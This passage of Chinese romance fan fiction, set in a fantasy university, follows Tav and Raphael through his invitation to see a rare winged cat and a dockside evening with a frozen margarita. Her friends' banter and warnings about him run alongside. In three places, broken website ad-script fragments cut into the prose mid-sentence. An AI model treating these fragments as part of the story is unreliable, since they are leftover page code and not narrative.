拉斐尔微笑:“没错。” “我听说过,不过一直没有机会去看看。”塔夫瞧着拉斐尔,有些羡慕,“你一定看过吧。怎么样?” “和诗集关系不大,不过同样的有……不算浪费时间。” “这种评价算好还是坏?”塔夫忍不住瞥拉斐尔一眼。这还真是满足了她对于贵族的刻板印象——傲慢而又难以取悦。不过,不管他的评价如何,她都是准备去看看的。 拉斐尔却像是读到她的想法,轻笑道:“值得一去,你说不定会很喜欢。至于我刚才的评价,是为了符合期待。” “什么期待?” “不能对任何兴趣产生过分的喜好。”拉斐尔说,“可以擅长并做到最优,但不能过分喜爱,更不能痴迷。” 塔夫有些不确定地看着他:“这是为什么?” 是她所理解的字面上的意思吗?她几乎有点可怜他了。 . 拉斐尔微微皱起眉。 为什么?这也是他的问题。 为什么她会是这种反应? 他刚才自然而然地说出父亲对自己的要求,但这不是再正常不过的吗?除了因为没有意义,只能令人玩物丧志之外,不加克制的欲望——如果无法满足,而且常常无法充分满足——总是会变成执念,影响判断,成为弱点。 为什么塔夫会认为,“阻止弱点产生”这种再合理不过的事,是一种“脆弱”或可怜之处,露出温柔怜悯的眼神? 拉斐尔一时无法理解,却下意识地移开视线。 . 塔夫见拉斐尔始终没有回答,以为是自己的问题不太清楚,又问:“这都是谁的期待?” “每个人的期待。”她又等了片刻,拉斐尔才终于说, “一个模糊的、贵族身份的符号,更能满足人们的要求,”他轻嗤一声,“或者说偏见。无论是羡慕的对象,还是厌恶的靶子。” 塔夫怔愣片刻:“那不是真的。” 他竟然直接说出了刚才她的想法?但她并不是真的那样认为,把他当成厌恶的靶子什么的…… 拉斐尔只轻哼一声,明显是他并不认同,只是不想再说下去。 塔夫就没再继续,心里有点复杂。 在和拉斐尔打交道前,她对他印象确实是模糊但又刻板的,后来更多是觉得果然如此。哪怕现在,大概有一些改观,但她也仍说不好自己对他的看法或感受。 言语间,拉斐尔对身上的这层“贵族皮”是厌恶的。她可以理解其中原因,却开始觉得哪里有点奇怪。她不觉得拉斐尔有那么在乎这种刻板印象,毕竟,他的傲慢可不是假装出来的。 也许这种矛盾感才是常态。 . 塔夫没再开口,拉斐尔也一声不响,却没有一丁点尴尬或者要离开的意思。 这让塔夫疑惑起来,拉斐尔的“一起走走”,真的就只是一起走走?她以为他是想要告诉自己什么。 终于瞧见宿舍塔楼,塔夫微微松一口气,却发现心里居然涌上不舍,又是一惊。 也许拉斐尔足够迷人,身上也充满令她好奇的矛盾,但他不适合她,所以最好一开始就别被他吸引。 “快到了。”塔夫清了下嗓子,“到这里就好。” 见拉斐尔没有告别的意思,她停下脚步,直接说:“下周排练见。” 拉斐尔望着塔楼的尖顶不知想了些什么,过一会才像是定了定神,重新看向她:“下周六,你有时间吗?” 塔夫心脏漏跳一拍,却不完全是喜悦。 这是约会吗?为什么?看上去不太像,否则不会拖到现在,还是这种问法。 那他确认她的时间是有什么其他安排?聚会?为什么恰好约在下次排练前? 她很庆幸自己仍对拉斐尔保留着审慎,没有被邀请立刻冲晕头脑:“具体什么时候?为什么?” “晚上六点。至于为什么,”拉斐尔顿了下,“暂时保密。” “不,我有安排了。”塔夫多了一分疑虑。 “什么安排?” “兼职。” “在周末晚上?” 那诧异的语气令塔夫略微有些不快:“餐厅侍者的兼职。” “你可以推掉或换个时间。” “这是早就排好的班次。”塔夫克制着语气,“而且,周末人流更多。” “我可以付你小费。”拉斐尔第一次见塔夫计较金钱的样子,和撕钞票的时候完全不同,却意外的可爱,忍不住微笑补充,“平常的三倍。或者五倍?” “这不仅仅是钱的问题。”塔夫抿了抿嘴,压抑恼怒,“经理很照顾我,允许我每周只去两天,其中一天还是最好的班次。” 她看到拉斐尔扬了下眉毛,一副了然的样子:“我当然可以找人替你。哪家餐厅?几点开始?” 塔夫轻轻吸了口气。那个惹人讨厌的拉斐尔又回来了,或者说,他从来都在这里。她摇摇头:“不。我会自己去。” “为什么呢?塔夫。”她听到熟悉的格外磁性 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的嗓音,循循劝诱的口吻,“你去或不去两种情境下,无论对谁来说,结果都是一样的——餐厅工作不受影响,你得到了小费。也许第二种情景还更好。” 塔夫仿佛听到十几分钟前自己说服自己的逻辑,沉默了好一会才像是赌气一般说:“不。当然不一样。” “哪里不一样?” 拉斐尔语气很轻快,几乎带着玩笑的意味,像是笃定她说不出有什么区别。塔夫更加不忿:“不知道你有没有考虑到这个可能。即使我有空,我也并不一定想在社团之外的时间见到你。” 太过了。她话说出口就有点气馁,别开视线。 为什么自己情绪这样忽上忽下,忽喜忽怒的,像是没办法和拉斐尔正常相处。 “原来是这样。”拉斐尔平静说。 塔夫羞恼,偷偷去瞧他。他看上去没有任何愤怒,捉到她的目光后反而笑笑: “好吧。我其实有些意外。” 塔夫忍不住飞快弯了下唇:“我一点也不意外你会说你感到意外。” 拉斐尔也扬起嘴角:“但我的确有些遗憾,不得不把这件——也许能够称为惊喜的事——提前告诉你。” 他顿了下,“如果你改变主意,想要亲眼瞧瞧,或许还能摸摸看一只翼猫,你知道去哪里找……” “一只真的翼猫?” “如假包换。” “不是被做成标本的那种吧?” “不能保证没有注射镇静剂。” “这……” . 拉斐尔看着塔夫惊讶的样子,觉得提前告诉她也不是个坏主意。虽然他邀请阿斯代伦时,对方不请自来的建议是,把惊喜留到最后一刻,效果会更强烈。 这道理他当然是知道的,也是他没有提前告诉塔夫找到替补演员的原因。不过就现在来说,似乎反而错过了一次塔夫开心的模样。 . 塔夫的确很惊喜。 翼猫可不常见,而且据盖尔教授说,它们比普通家猫更有性格。事实上,单单是这种比较就会惹怒它们。真是傲慢美丽又可爱的家伙!数量稀少再加上这种不逊的性格,连博德之门的珍奇动物园也只有标本。 她心里动摇起来,却发现拉斐尔正格外专注地看着自己,眼里带着兴味。 他在看什么? 他当然是在看她挣扎着做出选择的样子,看她会不会改变主意,放弃之前的决定。 就这么有意思吗…… 塔夫咬了下唇,摇摇头:“太遗憾了,我那天晚上没有空。” “不用这么急着做决定。”拉斐尔轻轻皱起眉,“你有一整周的时间。” 塔夫听到这耳熟的台词,露出一个格外客气礼貌的微笑:“时间已经不早了,我该回去了。” 拉斐尔看上去倒是真的惊讶起来。 “排练那天再见。”塔夫不再理拉斐尔,直接往宿舍走。 “我会在俱乐部。”拉斐尔愣了一会就很快跟上她,“每天早上六点到八点,包括周末。如果你改变主意,我……” 他居然是这个态度? 塔夫忽然意识到,拉斐尔完全可以一开始就告诉她这件事,也许他真的只是想把惊喜留到最后。 她脚步一顿,转过身重新看向拉斐尔。 拉斐尔像是被突然施放了沉默术,那样子让塔夫忍不住又笑了下。 “我刚才忘记问了。”她说,“如果开始时间是晚上六点的话,我可以提前或之后去吗?” . 25. 邀请 拉斐尔没有立刻回答塔夫。 翼猫并不常见。哪怕通过散塔林会的关系网,他得到的消息也只是:直到下周,才会有一只翼猫走水路去博德之门。 “你真是非常走运!”——这种话听听就算。 “下一次可就不知道是什么时候了!”——这话倒有八成是真。 买主身份神秘。不过,他也没有打算做粗鲁的强盗,或者真的养一只翼猫。他可不想听哈勒普整天换着花样地讽刺“傲慢小翅膀”,或者抱怨“掉毛好讨厌”。 于是,他只是要求船主在博得安大学附近的镇码头停靠一段时间。 这很容易,毕竟不需要对方绕路。虽然小镇码头少有货船停靠,但临时靠港补给也并非多么奇怪。 船主给出的预计抵达时间是晚上七点到十点之间。他可以先和塔夫在港口吃晚餐——附近一家的招牌石斑鱼海鲜烩饭还算可以。然后等船来——这个时候可以换到一家有现场音乐表演的酒馆,那里的新品霜冻玛格丽特很受女性欢迎。最后,再一起去逗逗猫。 在交给塔夫的日程表上,他把那天晚上直接标成了有安排。 然而现在,他却忽然一个字也说不出口。 他可以给别人选择,但他不能被选择。 而他刚才的表现,却似乎真的把选择的权力交给了塔夫,甚至可以说像是在等待塔夫垂怜。那是真正的垂怜,不是他主动想要勾出的怜悯。 拉斐尔盯着塔夫,轻哼一声。 “这机会一定很难得吧。”塔夫酒窝浅浅的,眼里似乎有歉意也有期盼,“谢谢你邀请我去这个聚会,我确实很想见一见真的翼猫,如果时间上能协调就太好了。” 拉斐尔绷起脸:“时间恐怕无法提前。最晚到十点。” “餐厅也是十点结束营业。”塔夫一顿,立刻又说,“不过我可以和同事商量下。” 在她语速飞快地举例解释说她能够提前离开后,拉斐尔清了清嗓子,别开视线:“晚些来也可以。” . 回到宿舍房间,当塔夫告诉影心这个惊喜时,才发现自己忘记考虑一件很重要的事。 “你终于意识到了。”影心笑着摇摇头,“还不算太迟。” 塔夫一脸懊恼:“我没问他我能不能带朋友一起去!你一定也想看翼猫的吧?我会找机会帮你问问。” 影心反应了好一会儿:“不用。而且让我们先把翼猫放在一旁。” “但翼猫是这件事的主角。” 影心深吸一口气:“那可不一定。比如,为什么拉斐尔邀请你?” “因为有翼猫。” 影心叹出一口气:“拉斐尔还邀请了谁?” 塔夫想了想:“他没说。翼猫才是重点。” 影心做了个深呼吸:“既然你不知道还有谁,又为什么会认为这是一个聚会?” 塔夫怔愣片刻:“问题应该是,这为什么‘不是’一个聚会?否则为什么会有只翼猫?” “别再提翼猫了!”影心终于爆发,“这当然不是一个聚会!因为这是一个约会!” “不,这不是一个约会。”塔夫立刻回。 “哦?为什么不是?”影心瞧着塔夫,“你上一次恋爱是什么时候?三年前?还是十三年前?” “最后那句可没有必要。”塔夫笑着瞥她一眼,“因为,我还是很清楚约会邀请是什么样子的。” “所以?” “所以,这不是一个约会。” “我放弃了。”影心耸耸肩,坐上床沿,刚躺下又立刻坐直,“不,我还没有放弃。” 塔夫好笑地看着她:“请讲。” “接下来这不是一个问题,而是一个陈述。”影心一脸严肃地提前声明,“拉斐尔知道你喜欢翼猫——虽然我不知道他是怎么知道的,别插嘴我还没有说完,但是他知道。所以,他才特意邀请你去这个‘聚会’,如果只有两个人也可以被称为‘聚会’的话。” 影心说完后,自信满满地躺了下去。 “我和拉斐尔好像提起过翼猫。”塔夫终于能够说出刚才被影心阻止没有说成的话,“不过谁会不喜欢翼猫呢?” “呃啊啊啊!”影心从床上弹了起来,几乎咆哮道,“如果我今天晚上梦到任何长着翅膀的东西,那都是你的错!以及……这!是!一个!约会!” 塔夫仔细想想自己和拉斐尔不算多愉快的交锋,摇了摇头:“这不是一个约会。” “你现在尽可以否认,没关系。一周后我们就能知道答案了。”影心这次真的躺了下去,“晚安,塔夫。” “你真的不想去看看翼……” “我说了晚安!” “……晚安。” . 塔夫听着影心规律的呼吸,暗暗祝福她会梦到一只翼猫,这样她就能记起它们有多可爱了。 影心在睡梦中呻/吟一声。 塔夫:这么灵验? 她停止祝福,忍不住又想到拉斐尔。 倒不是继续猜测他今晚的邀请到底是聚会还是约会,因为那肯定是个聚会。她想的更多的是自己对拉斐尔的看法。 她曾以为拉斐尔无法接受拒绝——现在看来他也很固执——但是今天晚上,当她说出明显奔着伤人去的拒绝时,拉斐尔并没有愤怒,还用玩笑化解了攻击。 说实话,她当时是感到轻松甚至有些感激的。 按她之前的推测,这大概是因为拉斐尔性格傲慢,认为普通人不会对他产生影响,所以对她的那些话满不在乎。 然而,他最近几次表达出的意思都是,他其实是在乎的。他希望有人看到贵族符号之下的他。 也许是出于骄傲,也许是出于习惯,他表现出来的总是并不在意的样子。 塔夫心跳突然加快了一下。 不仅仅只是“有人看到”。他曾说,他希望“她”能看到更多。 也许,那真是一个约会? . “举办一个临时聚会?没问题。” 河边宅邸中,哈勒普兴致勃勃拿出羽毛笔,“时间、地点、主题、人数……有什么人是必须要请的吗?” “没有。也不需要特别主题。”拉斐尔顿了下,“不,不用是聚会。” “好……吧?”哈勒普在手指间灵巧地转起羽毛笔。 拉斐尔思索片刻:“告诉镇码头附近几家餐厅,那天晚上第一杯酒水免单。十点,不,九点前结账有效。 “请一支乐队,弦乐四重奏或类似,室外,镇广场,持续到十一点。 “最后去大点的社团宣传一下。” 哈勒普记下日期,发现正是翼猫抵达的同一天:“需要特别去屋顶上的猫宣传吗?” 他没听到答复,抬眼瞧见拉斐尔正盯着自己,心里莫名好笑,面上仍然严肃,一边写一边重复确认道:“咳唔,大社团,大。” . 无论有多少人希望春假不要结束,学期还是重新开始了。 塔夫的生活再次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 变得规律起来。在上课、兼职、准备考试以及赞美食物之间,大概只有两件事,在那个周末到来之前,分得一些她的额外注意。 第一件事和兼职有关。 为了庆祝学期重新开始,小镇上的几家码头餐厅,会在这个周六晚上,一同推出“第一杯由我们请”的活动。 大部分学生的反应是:真不知道这有什么可庆祝的。所以我们周六出去聚一聚吧! 塔夫兼职的餐厅不在其中。 她一点也不意外,因为餐厅老板是位好脾气却有些传统古板的侏儒。事实上,据说餐厅上次在菜单上添加新菜已经是二十年前的事。总之,如果这件事对她有任何影响,大概也只能是那晚会少一些学生顾客,她会少赚些小费,但可以提前下班。 以及,她能够相当肯定地对影心说:“我告诉过你,这是一个聚会。”——而且是好多个聚会的其中之一。 影心坚持己见:“等到那天晚上结束,你再来说这句话。” 当塔夫指出就连影心自己也要出去聚会时,影心说:“可没人提到过翼猫。” “因为那是一个惊喜。”塔夫笑着回。 “那是为‘你’准备的惊喜。”影心仍然没有放弃,“记得回来告诉我,有几个人看到了翼猫。” . 第二件事则和威尔有关。 那是盖尔教授回来的第一堂课。塔夫坐在教室角落,每次抬头都能对上威尔的视线。最后,她不得不朝他做了个手势又比了个口型:听课! 一下课,不等她如往常一样问问教授有什么需要做的,威尔就已经冲了过来:“塔夫!” 塔夫吓了一跳:“我在!” 盖尔笑着摆摆手:“去做年轻人该做的事吧。” “教授你也很年轻。”塔夫无奈笑道,和教授告别后同威尔边走边问,“发生了什么?” “那天我离开后,希望一切顺利?”威尔语气很恳切,“如果你需要我做任何事,请一定告诉我。” “挺好的。没什么事。你在赛艇队也还好?” “还不错。” 按她和威尔的关系,对话到这里似乎就可以结束了。尽管塔夫打算邀请威尔去看拉斐尔演戏,不过现在时间地点都没有定下。而且,这大概算是个惊喜,可以留到最后。 但威尔仍跟在在她身旁,眉头微微锁起,神情机敏,居然有几分护卫她的意思。 “有事我会和你说的。”塔夫有点不自在,“还有其他事吗?” 威尔眉毛皱得更紧:“是的。你一会有课吗?可能需要些时间。” “没有。”塔夫正好走到楼梯拐角,便靠墙停下。 “我并不是有意发现。”威尔看上去有些许难为情,“但几天前,我碰巧瞧见你离开赛艇俱乐部。” 塔夫一怔,鼻端仿佛闻到淡淡的古龙水香味,脸也莫名有些发烫:“你是说那天!”她离开得确实有些匆忙,没有注意到其他人,“我去那里找拉斐尔。” 威尔点点头,没有说话,那意思大概是他猜到了。 “你在担心这个。”塔夫恍然。不知道为什么,前有米佐拉,后有威尔,都能猜出她见的人是拉斐尔,不过这也没什么可隐瞒的。 “我去找他,是为了社团的事。”她又补充说,“现在已经都解决了。” “那就好。”威尔嗯一声,语气带着股严肃的郑重, “因为对于拉斐尔,我的建议是,尽量避免和他打交道。” . 26. 免费 听到威尔的话,塔夫有片刻恍惚: “你说什么?” 又一个建议?威尔和米佐拉是属于同一个拉斐尔研究小组的吗? 威尔别过脸,模样更加难为情。毕竟,正是因为他,才让塔夫和拉斐尔有了交集。他清了清嗓子:“我很高兴拉斐尔解决了你的问题,完成了约定。” 塔夫一时不知道如何回答。 威尔眼睛微微睁大:“难道拉斐尔没有告诉你,你可以向他提一个要求?” “算是告诉了。”塔夫莫名对威尔产生些类似同病相怜的感情,“但还没有完成。” 威尔眼睛睁得更圆:“算是?没有完成?” “我要求他加入我的业余剧团。”塔夫便干脆把惊喜直说了,“他是我们正准备的这出剧的主演之一。期末考试周结束之后,你想来看我们的正式演出吗?能看到拉斐尔在台上唱歌跳舞呢。” 威尔嘴巴也张圆了。 “拉斐尔把我、我们、还有整件事当成一出戏看,我便让他也体会一下上台演戏的乐趣。”塔夫叹了口气, “这是我最初的想法。至于现在……让我举例来说,我去赛艇俱乐部那次,是给他送剧本顺便讲台词。”她说着倒有几分好笑。 “拉斐尔同意了?”威尔大脑仍停留在一分钟前。 “是的。”塔夫被彻底逗笑了,“虽然不大情愿,但是他同意了。” 威尔又怔了一会儿:“我会去看的。谢谢你的邀请。” “总之,就这这么一回事。”塔夫短促地呼出一声,“接下来起码两个月,我恐怕每周都得和拉斐尔打一次交道。”她语气忍不住带上些促狭,“所以,你还有别的什么、更好的,建议吗?” 威尔顿时手足无措,含糊道:“我刚才,并不是……” “开玩笑的。”塔夫笑着说,“我得感谢你。谢谢你的提醒。” “不不,这是我应该的。” 塔夫又安抚他几句,威尔这才道:“我的确还有一个关于拉斐尔的……提醒。” “我会牢记。”塔夫立刻说,“一有机会就写下来。” 威尔差点再次忸怩起来,轻咳一声说: “拉斐尔的帮忙或善意,从来不是免费的。” . “……不是免费的。” 塔夫解释说餐厅并不参加“第一杯我们请”活动时,重新想起威尔的好心提醒,又立刻微笑望向面前的这对年轻情侣。 其中一人看样子想要换一家店,另一位则面露尴尬,因为他们已经看了一阵子菜单和鸡尾酒单,塔夫也替他们端来了水,又介绍了几种饮品。 塔夫笑笑,先回后厨,给他们更多空间。等她再次来到桌旁时,两人已经离开,还留下半个金币的小费。 塔夫把金币丢到小费盒里时,餐厅经理兼引座员弗兰摇摇头:“其实没必要给小费,换家店而已,这算不得什么。不过学生嘛,总是脸皮薄。” 塔夫嗯一声:“我们要不要写个告示?” 弗兰耸耸肩:“感觉反而会误导?招牌上一般都是说‘有’什么活动,而不是反过来。” 她们最后也没做任何主动提示,不过好在那对学生情侣只是例外。 . 九点多,送走最后一桌顾客,塔夫留下一起把椅子摆上桌子,从弗兰口中再次听到盖尔教授的台词:“不用继续帮忙了,你快去做年轻人该做的事吧!” 塔夫有点好笑。 有什么事是年轻人“该做的”,或者只能是年轻人才能做的? “当然是没什么后果的找乐子和犯错误!”弗兰叉着腰, “等你到我这个年龄,别人只会说,你年纪不小了,怎么能继续和这种烂人约会?而且是再一次!?” 几个人笑成一团。 “真是太小瞧我了,我可是比他们还无法相信。”弗兰笑着耸耸肩,“但无法相信之后,我只会重新踏进同一条河,因为我不知道还有其他河!” 最后她冲塔夫挥了下手:“快去吧!” . 同生意只能算普通的餐厅相比,这天晚上镇子上格外热闹。 镇中心的广场还有现场弦乐演奏,音乐旋律缓慢抒情,走到码头仍能隐约听见,塔夫看到一对正依偎着慢慢摇晃跳舞的老夫妇,忍不住微笑起来。 越过两位老人仍然浓密的银白色发卷,她望见拉斐尔。 他似乎也看到了她。英俊的眉眼一瞬舒展,虽然目光立刻移向船坞方向,唇角却慢慢翘起。 塔夫莫名开心起来,脚步也变得轻快,然而拉斐尔却转身进了旁边的酒馆。 他其实没看到她?塔夫走到酒馆旁,看招牌正是她和拉斐尔约定的地址。酒馆里面人更多更热闹,乐曲也更快活。哪怕在门外,她也能闻到烟草、酒精和汗水混在一起的兴奋的味道。 她正有些犹豫,拉斐尔已经再次出现,手里拿着一个宽边高脚杯。烟状的白雾贴着杯沿的粗盐粒漫出,杯中的湖蓝色晶莹透亮,像一团冰晶。让她想起派对那晚——的门把手。 塔夫忍不住弯起唇。 拉斐尔一眼找到她,也笑了,走到她身边,又递出杯子:“霜冻玛格丽特。” “我听说这个最近很受欢迎。”塔夫问,“给我的?” “第一杯免费。”拉斐尔说。 “这次不再是一张支票了?” 塔夫在拉斐尔略微怔愣时用手指碰下杯子,被冰得立刻缩了回去,又笑着说,“先告诉我,需要我做什么?” 拉斐尔轻轻挑了下眉毛。 “我知道这杯不是免费的。”塔夫微笑瞧着他,没有说这忠告来自威尔,“我碰巧清楚有哪几家餐厅参加今晚的这个活动。酒馆可不是其中之一。” 拉斐尔说:“需要你诚实反馈对这杯特调的看法,再由我转告老板。” “听上去很划算。”塔夫摇摇头,“不过还是谢谢了。” “酒量不太好?还是不喜欢?” 塔夫不常喝酒。除了最主要的健康考虑,她也有点担心影心。如果自己也没事喝两杯的话,影心恐怕会借机喝得更多。结果几年下来形成习惯,只要在学校,她就很少喝酒。不过当然,这种事没必要同拉斐尔细说。 “你试过任何酒精饮料吗?”拉斐尔介绍起来,“鸡尾酒的口感比烈酒要更容易接受些。” “我酒量其实很不错,也喜欢各种酒的口感、味道和风味,还有喝酒之后微醺的感觉。”塔夫笑了笑,“这种组合可有点危险,如果不加以限制的话,有很大可能朝酗酒发展。所以我尽量少喝,或者干脆不喝。” “我理解你的想法。”拉斐尔把杯子收了回去。 这倒让塔夫有些意外。 “符合期待。”拉斐尔微笑说,“可以擅长,不能痴迷。” 塔夫一下记起拉斐尔邀请自己的那天晚上的事。她当时就没有多么理解或赞同,现在更是如此,立刻反对: “这可不一样。”毕竟,一个是兴趣,一个酒精成瘾。 “表面上也许不同,但本质并没什么区别。”拉斐尔扬了下杯子,“翼猫在那边,我们可以出发了。” 塔夫快步跟在拉斐尔身边,继续刚才的话题:“这两者有很大区别。一个对你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有好处,一个对你没好处。” “那是因为沉迷酒精要容易得多。”拉斐尔偏过头瞧她,脚步略微放慢,“如果真的发展到同等程度,痴迷造成的影响也不会强到哪里去:忘记时间,忘记周围。” “听上去倒是很美妙的沉浸式体验。”塔夫反驳,“此外,你完全可以不擅长一件事,但仍享受甚至痴迷其中。” “一杯就倒的人顶多算嗜酒,而不会酗酒。”拉斐尔又瞥她一眼,摆出一副若有所思的样子,“哦?你是在指歌舞剧?哪怕不擅长,但在一旁指挥时却也还是很投入。” “喂!这讨论可没有必要发展向针对个人。”塔夫大声抗议,又小声嘟哝,“而且我只是四肢不太协调。” 两人已经来到码头更深处的一艘货船前。拉斐尔停下脚步,笑着朝她举了下高脚杯:“沉浸其中的感受是相同的。” “怎么会相同。”塔夫冲他伸出手,“我会如实分享我的感受以及看法,哪怕你已经知道我的答案。” “我很期待。”拉斐尔说完就皱起眉,“酒沾到了盐粒。” “混在嘴里都一样。”塔夫手已经抚上杯身,摸了满手凝结在上面的水珠。拉斐尔却又固执起来,不肯松手:“而且霜冻融化了些。” “之后也会化。而且这不是给我的吗?我都不介意。”塔夫佯装要把嘴唇凑近杯口,“那我直接这样喝好了?” 成功拿到酒杯,她得意地啜了一小口,惊喜:“真的很好喝!难怪受欢迎!” 龙舌兰酒独特的辛辣和微苦,新鲜青柠汁的酸涩,两种锋利凶狠的味道被盐粒更好的带出,又被龙舌兰糖浆冲淡,最后被浓郁的橙子芳香融为和谐却依然浓烈的一体。 咽下后,除了微苦的柑桔气息,口腔里还始终萦绕着龙舌兰酒那特别的、带着点焦糖甜意的兰草回甘。 真是太美妙了。 而且有点熟悉。 像是拉斐尔的味道。 忽地,那一小口酒像是一团火,从胃部烧起,又顺着食管向上重新点燃整个口腔。 塔夫清楚知道,这焦灼感绝不仅仅来自烈酒,脸一下涨得通红。 拉斐尔似乎一直看着她,自然也没有错过她的脸红:“你的酒量真的不错吗?”他半是打趣地问,“是客观上的不错,还是主观上的不错?” “那是因为我挺久没喝了!”塔夫转动杯子,唇蹭着杯口另一处的盐,接着很有气势地灌下一大口,把肚子里的那团火猛地浇灭下去。 她抿抿嘴,“虽然好喝,但这感觉同上次排练顺利、以及欣赏阿斯代伦表演的时候相比,当然还是不一样的。” 拉斐尔半启着唇,看上去想要说什么,最后却只哼出一声。 塔夫立刻强调:“更准确来说,是完全没有可比性。” “和跳舞相比呢?” “哈?” “我们跳舞的时候。” “那更不是一回事了。” “练习跳舞的时候,你同样投入。” “你还好意思说呢。那都是被你逼迫的!” “是吗?你明明很享受沉浸其中。” “才没有!你的记忆是被法术修改了吗?是你硬拉着我跳的,还不许我停下!” “我当然记得。你笑得喘不过气。” “……!?” 他这是选择性忘记她又踩又踢了他多少下? 拉斐尔有没有忘记塔夫不清楚,反正她是已经彻底忘记他们之前在说什么了。 …… “还要再喝一口吗?”拉斐尔最后笑着问,“我们可以上船了。” . 27. 翼猫 四桅的加利恩帆船上。 除了后桅的三角帆,其他风帆已经收起。塔夫脚下的橡木甲板几乎反着光,像是几分钟前才被认真擦洗过。 她一边重新小口啜着玛格丽特,一边叮嘱自己不要再把拉斐尔和鸡尾酒胡乱联想到一起。 拉斐尔正同一位矮人说着什么。 那矮人身材敦实,脖粗肩宽,粗糙的皮肤泛着棕红,一把同样是棕红色的大胡子,编出了至少五种不同的水手结,黑色皮靴紧紧绷在粗壮结实的小腿上,勾出两把匕首的危险轮廓,说起话来却意外的温文尔雅。 ——塔夫把全部注意力集中在仔细观察矮人船长身上。 “喂!‘甜甘蔗’!”矮人突然粗声粗气地喊了一嗓子,让塔夫差点没反应过来这是同一个人,“去把‘小秃毛’拿来!注意点,别伸手进笼子,如果你明天还想数出十根漂亮的手指头的话!” 一位看上去只有矮人三分之一宽的纤瘦卓尔应了声,转身没入黑黢黢的船舱。 他很快重新出现,怀里捧着一个金色兽笼,里面钉着厚厚的黑色天鹅绒布。他在三人面前小心放下笼子,又立刻悄无声息地消失。 近距离下,塔夫仍是看不清那位卓尔五官,却看到他那乌木一样的黝黑皮肤上有一块块不规则的白斑,不知是遗传性的皮肤白化病,还是水手的特殊涂料。整个人看上去倒真的很像是一条甘蔗,被随便啃去几块表皮。 塔夫突然对小秃毛这个叫法产生了极大的信任。 是天然秃,还是掉毛秃,或者是已经被撸秃了? 如果矮人船长给拉斐尔起个绰号的话,会是什么? 玛格丽特? 塔夫连忙嘬一口手里的玛格丽特压压惊,发现已经见底。 “我们不被允许知晓笼子本身以及其中的奥秘。”矮人说话重新变得斯文却拗口起来。 拉斐尔点了下头,伸手要接过塔夫手中空杯。 “还剩一点。”塔夫冲他晃晃杯子。 既然开了口,她就没忍住问矮人,“那你怎么知道笼子里面的翼猫是秃毛?” “啥?!”矮人圆鼓鼓的眼睛在她身上迅速转了一圈,重重咳嗽一声, “小……那名字是形容它的恶劣性格。它曾烧毁数位不幸之人的头发。但请我的好女士万勿担心!在这金笼之中,它既无法吐火球,也无法吐口水。” 塔夫哭笑不得,各种方面。 终于,矮人鞠了一躬:“祝你们有个美好的夜晚。” . 拉斐尔俯身检查笼子。 塔夫望着空荡荡光溜溜的甲板,没有打扰他询问“聚会的其他人在哪里”,但影心的问题“几个人看翼猫”却蹦了出来。 也许其他人已经看过走了,塔夫合理推断,或者是聚会上的人分几次来看翼猫,而现在是最后一批,只有她。 她听到拉斐尔在笼子上轻轻敲了敲,朝他看去。 拉斐尔也正仰望着她。看到她的视线,他慢慢弯起唇,按下笼子一角,又打了个响指。 如同帷幕升起,笼中黑布从底部开始变得透明。 “!”塔夫倒吸一口气,立刻凑到笼子前,又望向拉斐尔。 拉斐尔笑容更深,眉毛也得意地挑了起来。 塔夫指着笼子小声说:“它好漂亮!” 拉斐尔:“……是的。” 笼中显出一只优雅美丽的翼猫。 它比家猫要大一些,黑白橘三色雅致和谐,像是由最富天才的画家精心思索比例后再用心绘出。不过此时,它正闭着双眼,羽翼收在背部,只有眉上和唇边长长的半透明白色触须,随着每一次呼吸轻轻颤动。 “你刚才是怎么做到的?”塔夫更加小声问。 “这是贡德侏儒的设计。”拉斐尔也看向笼中,“他们很有创意巧思,却又严格遵守某些规则。” 拉斐尔并没有刻意控制音量,塔夫嘘了他一声:“别吵醒它。” “翼猫是夜行动物。”拉斐尔摸摸手指。塔夫想到矮人刚才的提醒,担心看去,发现他是在转动小指上的一枚戒指。她之前没有注意到,也许是刚刚戴上去的。 “它之前可能太累了。”塔夫又看向翼猫,“所以现在需要休息。” 这时,翼猫慢慢睁开眼睛,懒洋洋咕噜一声。 “它醒了!”塔夫惊喜,赞叹地看着它那对蓝绿斑驳的宝石眼瞳。 “那正好。”拉斐尔曲起手臂,手指在下巴位置,手背对着塔夫,“你想和它聊聊天吗?”塔夫更加惊喜,瞧向拉斐尔。他轻笑一声,终于点点小指,示意她看那里:“用这枚戒指。” 那看上去是一枚印章戒指,扁平的椭圆形戒面上刻着一只山羊头,线条简练,却重重凿出一对横着的瞳孔,染上一抹黑红色,看上去像是干涸的血迹。 塔夫原本就有些尴尬——她现在居然仍会不由自主地一直盯着拉斐尔的脸瞧,等凑近些,看到戒指上的山羊横瞳后,她更是忍不住皱起眉。 “怎么了?”拉斐尔问。 “纯属个人偏好,”塔夫说,“不过我更喜欢竖瞳。” “真遗憾。”但拉斐尔声音带着明显笑意,“正是这双眼睛,能够使你与动物沟通。” “我也会变成横眼睛?”塔夫只挣扎了十分之一秒,“我接受!来吧!” 拉斐尔弯了弯唇,又很快严肃起来,抚摸指环低声念出咒文。也许是语言发音不同的缘故,他的声音带上着些暗哑和咽音,语气既像命令又像是恳求。 那声音钻进耳朵,带着奇异的震频和诱惑。 真好听。 大概是酒意上涌,塔夫凝视拉斐尔双唇相碰开合,心里生出些奇怪的几乎有点强迫色彩的念头,想让他用这个声音就这样一直继续说下去。 也许说点别的什么。 也许只是发出声音。 戒指泛起微光。 塔夫一个激灵,从恍惚中回过神来,勉强望向那对亮起的羊眼,看到横贯的粗线中涌上暗铜锈色的幽绿,边缘渗着更暗的深红。 这可能不是个好主意,有她不了解的危险。 可是她想要…… 这会是个错误吗,她能接受一切可能的后果吗。 年轻人该做的事…… 拉斐尔念出最后一个音节,四周忽然安静下来。 塔夫听到自己的声音,清晰而又响亮:你刚才所想的,真的只是动物交谈吗? “别这么紧张。”拉斐尔笑着说。 塔夫吸了一口气,重新听到冲萨河流淌的声音,船尾三角帆鼓动的声音,还有远处热闹的人声音乐声。 她缓缓转头看向拉斐尔。 “我还是第一次看到你这么严肃的表情。”拉斐尔笑了,“不用担心,你不会变成横眼睛。” 塔夫夸张地松了一口气:“那我们还在等什么?” 